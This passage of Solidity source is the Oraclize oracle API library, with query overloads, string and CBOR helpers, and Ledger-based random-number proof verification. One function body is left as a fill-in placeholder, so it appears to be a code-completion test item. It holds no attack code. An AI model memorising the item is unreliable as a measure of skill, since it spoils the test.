(getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal constant returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal constant returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) // the following variables can be relaxed // check relaxed random contract under ethereum-examples repo // for an idea on how to override and replace comit hash vars mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){<FILL_FUNCTION_BODY> } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; if (prefix.length != n_random_bytes) throw; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } }
